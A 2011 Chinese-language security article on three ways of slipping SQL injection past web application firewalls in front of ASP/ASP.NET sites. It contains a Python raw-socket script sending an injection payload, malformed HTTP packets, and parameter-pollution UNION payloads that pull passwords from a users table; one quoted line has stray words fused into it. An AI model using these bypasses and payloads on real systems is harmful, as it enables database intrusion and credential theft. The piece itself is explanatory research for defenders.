天天看點

淺談繞過WAF的數種方法

EMail: rayh4c#80sec.com

Site: http://www.80sec.com

Date: 2011-09-06

From: http://www.80sec.com/?p=244

0×00 前言

08年初誕生了一種SQL群注攻擊,黑客在全球範圍内對asp,asp.net加MSSQL架構的網站進行了瘋狂掃蕩。由于MSSQL支援多語句注入,黑客通過一條結合遊标的SQL語句就能将整個資料庫的字段内容自動進行篡改,可以在網站上無差别的進行網頁木馬攻擊。

網際網路是快速更新疊代的,但是很多沒有開發能力的機關都是通過外包建立網站,網站的程式一上線就再也無人維護,很多程式存在各種漏洞無法修補,于是WAF便有了市場,現今門檻低且最能解決問題的是針對IIS/apache的軟體WAF,通常一個子產品一個擴充就能搞定,當然也有耗資百萬千萬的硬體WAF,然而如果WAF攔截規則出現漏洞,這百萬千萬的硬體也就是一堆廢鐵。那麼WAF是否真的可以解決所有的WEB安全問題呢?是以本文主要解析一些可以繞過WAF的罕見漏洞,供安全人員參考。

0×01 Request對象的包解析漏洞.

asp和asp.net的Request對象存在一個包解析漏洞,Request對象對于GET和POST包的解析過于寬松,用一句話表達就是Request對象它GET和POST傻傻分不清楚,稍有點web開發經驗的同學應該知道Request接收GET,POST,COOKIE也就是GPC傳過來的資料,但是asp和.net庫内置的Request對象完全不按RFC标準來,下面我們可以做個測試:

分别将下面兩段代碼儲存為1.asp和1.aspx

使用asp的Request對象接收t參數傳值

———————————————–

<%

Response.Write “Request:” & Request(“t”)

%>

使用asp.net的Request對象接收t參數傳值

<%@ Page Language=”C#” %>

string test = Request["t"];

Response.Write(“Request:”+test);

使用下面的python腳本調用socket發送原始的HTTP包

#!/usr/bin/env python

import socket

host = ’192.168.239.129′

path = ‘/1.asp’

port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

s.settimeout(8)

exploit_packet=”t=’/**/or/**/1=1–”

exploit_packet+=”\r\n” * 8

packet_length = len(exploit_packet)

packet=’GET ‘ + path + ‘ HTTP/1.1\r\n’

packet+=’Host: ‘ + host + ‘\r\n’

packet+=’Content-Length: %s\r\n’ % packet_length

packet+=’Content-Type: application/x-www-form-urlencoded\r\n’

packet+=’\r\n’

packet = packet + exploit_packet

print packet

s.send(packet)

buf = s.recv(1000)

if buf: print buf[buf.rfind("\r\n"):]

s.close()

我們發送的原始包是:

GET /1.asp HTTP/1.1

Host: 192.168.239.129

Content-Length: 34

Content-Type: application/x-www-form-urlencoded

t=’/**/or/**/1=1–

結果傳回如下:

Request:’/**/or/**/1=1–

将python測試腳本的path改為/1.aspx測試頁傳回同樣結果。

我們可以看到這是一個畸形的HTTP GET請求包,這個包的奧秘在于Content-Type和Content-Length頭,包的結構類似于一個POST包,而請求的方法是GET,最後asp和asp.net的Request對象成功的解析了這個畸形包取出了資料。

是以如果WAF沒有處理好HTTP包的内容,沿用正常思路處理GET和POST的邏輯的話,那麼這個畸形包将會毀掉WAF的基礎防禦。

0×02 被遺忘的複參攻擊.

大家應該還記得09年的HTTP Parameter Pollution攻擊,檢視[3]文檔,可以發現ASP/IIS和ASP.NET/IIS的場景下存在一個複參特性,本文将利用這種的特性的攻擊簡稱為複參攻擊,用0X01裡的例子簡單的測試一下:

用GET請求傳入兩個t參數

GET http://192.168.239.129/1.asp?t=1&t=2

将傳回

Request:1, 2

asp和asp.net的Request對象接收了兩個參數,并且以逗号分隔,是以便衍生出了[3]文檔中的複參SQL注入方法:

Vulnerable code:

SQL=”select key from table where id=”+Request.QueryString(“id”)

This request is successfully performed using the HPP technique:

/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

The SQL request becomes:

select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,

我們可以看到通過巧妙的運用注釋符結合複參特性可以分割GET參數中的SQL注入語句,如果WAF對GET參數的處理過于簡單是不是會比對不到攔截規則呢?

0×03 進階複參攻擊.

ASP.NET的Request對象有一個Params屬性,ASP.NET程式員在一些程式中會使用Request.Params["xxx"]傳入資料,參考[4]微軟MSDN文檔我們可以知道Params屬性的特性,該屬性接收GET,POST和Cookie的傳值集合,這裡我們可以修改0×01裡的例子測試一下:

使用asp.net的Request.Params方法接收t參數傳值

string test = Request.Params["t"];

發送一個POST包,GET,POST,COOKIE三個方法中都帶有不同的t參數内容

POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1

Cookie: t=2

t=3

結果傳回

Request:1,3,2

最後得出結論,Request.Params方法接收的資料是按照GPC順序整合,看到這裡的同學再聯想到0×02的複參攻擊應該如醍醐灌頂了,我們可以将SQL攻擊語句拆分到GET,POST,COOKIE三個變量裡進行組合攻擊。想一想WAF針對這種進階複參攻擊是否防禦好了?

0×04 後話

WAF是不可能解決所有安全問題的,本文的思路歸其本源實際上是描叙了WAF處理HTTP包與服務端處理HTTP包數種差異。網際網路是不斷更新疊代的,差異存在,類似的漏洞也會存在。

本文提到了三種繞過WAF的思路,第一種是我的原創屬于0DAY狀态,第二種是參考已有的複參攻擊,其中第三種進階複參攻擊是由Safe3同學提出的,本文也是與Safe3同學讨論他開發的WAF的BUG而來,是以感謝Safe3同學。

另外請大家不要将本文的内容用于非法途徑,僅供安全人員參考,謝謝。

參考:

[1].http://www.faqs.org/rfcs/rfc2616.html

[2].http://www.w3school.com.cn/asp/asp_ref_request.asp

[3].http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf

[4].http://msdn.microsoft.com/en-us/library/system.web.httprequest.aspx